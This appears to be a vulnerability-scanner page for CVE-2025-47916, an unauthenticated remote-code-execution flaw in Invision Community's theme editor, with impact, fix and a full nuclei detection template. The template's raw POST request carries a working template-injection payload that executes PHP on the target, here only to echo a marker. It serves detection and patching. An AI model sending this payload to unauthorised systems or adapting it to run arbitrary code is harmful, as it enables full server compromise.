Invision Community <=5.0.6 Unauthenticated RCE via Template Injection

criticalseverity

10CVSS score

84.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (/applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method, which is evaluated by the template engine. Accordingly, unauthenticated attackers can inject and execute arbitrary PHP code by providing crafted template strings.

Impact

Unauthenticated attackers can inject and execute arbitrary PHP code through the content parameter in themeeditor.php, achieving complete server compromise.

Fix

Upgrade Invision Community to version 5.0.7 or later that properly sanitizes template strings before evaluation.

How to confirm it

Send: POST /
Positive when: contains "CVE{{marker}}"

Run it with nuclei: nuclei -id CVE-2025-47916 -u <target>

The full check

id: CVE-2025-47916

info:
  name: Invision Community <=5.0.6 Unauthenticated RCE via Template Injection
  author: EgiX,iamnoooob,pdresearch
  severity: critical
  description: |
    Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (/applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method, which is evaluated by the template engine. Accordingly, unauthenticated attackers can inject and execute arbitrary PHP code by providing crafted template strings.
  impact: |
    Unauthenticated attackers can inject and execute arbitrary PHP code through the content parameter in themeeditor.php, achieving complete server compromise.
  remediation: |
    Upgrade Invision Community to version 5.0.7 or later that properly sanitizes template strings before evaluation.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47916
    - https://karmainsecurity.com/pocs/CVE-2025-47916.php
    - https://invisioncommunity.com/release-notes-v5/507-r41/
    - https://karmainsecurity.com/KIS-2025-02
    - http://seclists.org/fulldisclosure/2025/May/4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-47916
    cwe-id: CWE-1336
    epss-score: 0.84318
    epss-percentile: 0.99702
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="Invision" && body="ips4"
    shodan-query: "Set-Cookie: ips4_"
  tags: cve,cve2025,invision,rce,ssti,unauth,seclists,vkev,vuln

variables:
  marker: "{{randstr}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        app=core&module=system&controller=themeeditor&do=customCss&content=%7Bexpression%3D%22die%28%27CVE%27. base64_decode%28%27{{base64(marker)}}%3D%27%29%29%22%7D

    matchers:
      - type: word
        part: body
        words:
          - 'CVE{{marker}}'

References

Use this check only on systems you are authorised to test. Where the data comes from